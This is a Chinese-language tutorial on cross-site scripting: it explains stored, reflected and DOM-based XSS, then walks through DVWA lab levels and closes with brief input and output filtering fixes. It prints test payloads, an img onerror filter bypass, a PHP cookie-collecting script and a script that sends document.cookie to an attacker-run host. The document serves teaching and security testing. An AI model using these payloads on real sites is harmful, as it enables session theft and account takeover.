目录
什么是XSS
XSS全称是：Cross Site Script ,缩写应该是css，但为了与Css区分开，安全行业就取名为Xss
- 中文名称:跨站脚本
- 常见危害：盗取用户信息，钓鱼，制造蠕虫等。
Xss其实是一种注入，前端语言的注入。
概念
黑客通过“HTML注入”篡改网页，插入恶意脚本，在用户浏览网页时，实现控制用户浏览器的一种攻击方式。
理解
正常情况下我们有一个钥匙，对应着保险柜的门，但是有人偷偷拿到了我们的钥匙，又复制了一把，这样就也能打开保险柜了。
这里的钥匙在web中指的事Cookie，当黑客可以利用Xss盗取用户的 Cookie，黑客有了Cookie就可以以正常用户的身份访问Web站点，对于Web站点来说，他只认Cookie，无法分辨是谁在访问。
XSS分类
- 存储型
- 反射型
- DOM型
存储型XSS
黑客构造XSS脚本在留言上，提交给后端的Web应用程序，Web应用程序将恶意留言保存在数据库中。
用户打开浏览器，访问嵌入了XSS脚本的页面，浏览器向后端的web应用程序请求页面内容。而页面中的留言是存储在数据库中，所以需要从数据库中读取数据，数据库会将写入的XSS代码返回给web应用程序，并最终返回给浏览器，触发XSS。
反射型XSS
访问携带XSS脚本的链接触发XSS
原理
这是后端php语言，获取参数后直接输入到客户端，导致XSS。
攻击过程
用户在浏览器中个访问带有XSS脚本的链接，浏览器向后端Web应用程序发送请求，后端应用程序将URL中XSS脚本数据写入到响应页面，并返回给浏览器，浏览器渲染响应页面，触发XSS。
DOM型
特征与反射型XSS是一样的，区别在于
可以看到触发的地方在url的hash中
Location 对象 Location 对象包含有关当前 URL 的信息。 Location 对象是 Window 对象的一个部分，可通过 window.location 属性来访问。 Location 对象属性 属性 描述 hash 设置或返回从井号 (#) 开始的 URL（锚）。
查看源码，可以看到，上面一句是从URl中提取hash赋值给变量errorMsg。第二句是对errorMsg进行编码后，以innerHTML的形式写入ID为“errorMsg”的DOM节点中。
攻击过程
用户在浏览器中访问带XSS脚本的链接，浏览器通过JS语言从URl中提取出XSS脚本内容，并写入到DOM中，触发XSS。
DOM行XSS与反射型XSS区别
- DOM型XSS是通过前端JS语言将XSS脚本写入DOM触发XSS。
- 反射型XSS是通过后端Web应用程序，将XSS脚本写入到响应页面中，浏览器渲染响应页面，这才触发XSS。
存储型XSS与反射型XSS区别
区别在于存储型xss是在数据库中提取XSS脚本内容，而反射型XSS是直接从URL中提取XSS脚本内容。
DVWA实验
xss本质上是一种客户端代码注入，通常注入代码是JavaScript。区别于命令注入，SQL注入等服务端代码注入。
三种XSS区别
反射型XSS
进入DVWA，打开反射型XSS，一个简单输入框。
low等级
首先进行正常操作，输入xss，点击提交
页面出现字符
输入xss标签，打开firebug发现似乎可以注入html标签
接下来进行弹窗测试，这是xss测试普遍的方法，能弹窗说明存在xss
<script>alert(/xss/)</script>
在firebug中可以查看到对应元素，成功注入了js脚本，说明这里存在xss漏洞
JavaScript弹窗函数
js中不仅仅只有alert（）可以弹窗，我们可以根据服务器的过滤情况，尝试其他函数
攻击思路
反射型xss，有以下四个角色，首先用户处于登录状态，攻击者发送一个url给用户，这个url域名是被攻击的web服务器，诱骗他点击，用户点击后web会对url中包含的js脚本做出响应，用户浏览器执行js脚本。在用户不知情的情况下，发送用户凭证到攻击者的web服务器上，攻击者获取到会话信息，攻击者使用用户的身份登录到被攻击的web服务器。到这里攻击者就可以以用户的身份操作。
攻击者web设计
我们使用127.0.0.1这个ip新建一个cookie.php文件内容如下
<?php
$cookie = $_GET['cookie'];//将偷取到的cookie存储到cookie变量
file_put_contents('cookie.txt',$cookie);//将变量输出到cookie.txt中
?>
构造攻击js
<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
document.location含义是将页面内容定位到指定位置，会访问参数中的地址，参数中写上刚刚新建的php文件网址，将document.cookie获取的cookie赋值给cookie参数。这个cookie值最终会出现在127.0.0.1网站的cookie.txt中
构造并发送攻击url
hello后面的数据使我们输入的数据，除了单引号全部被html编码了
我们查看源码,使用了htmlspecialchars函数
这个函数单引号默认不编码，需要的话要设置如图参数
存储型XSS
low等级
前端限制，限制长度
我们使用firebug查看，限制了30和50个字符
我们可以使用TamperData绕过前端，直接发送，输入一百个字符，发送后发现成功绕过浏览器限制
进行插入弹框脚本，发现弹了两次，name和message成功注入，其他与反射型基本一致，因为存储型是存到数据库中的，会一直存在
清除弹窗，重置数据库
medium等级
使用大小写混合，成功注入，发现只有name注入成功，但是只要有一个弹窗成功就说明存在xss
high
使用img
<img src=x onerror=alert(1)>成功绕过
发现name注入成功
impossible等级
发现单引号被转义，其他符号被过滤
修复
输入过滤与输出过滤
输入过滤最好使用白名单
输出过滤——html编码js转义
491
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
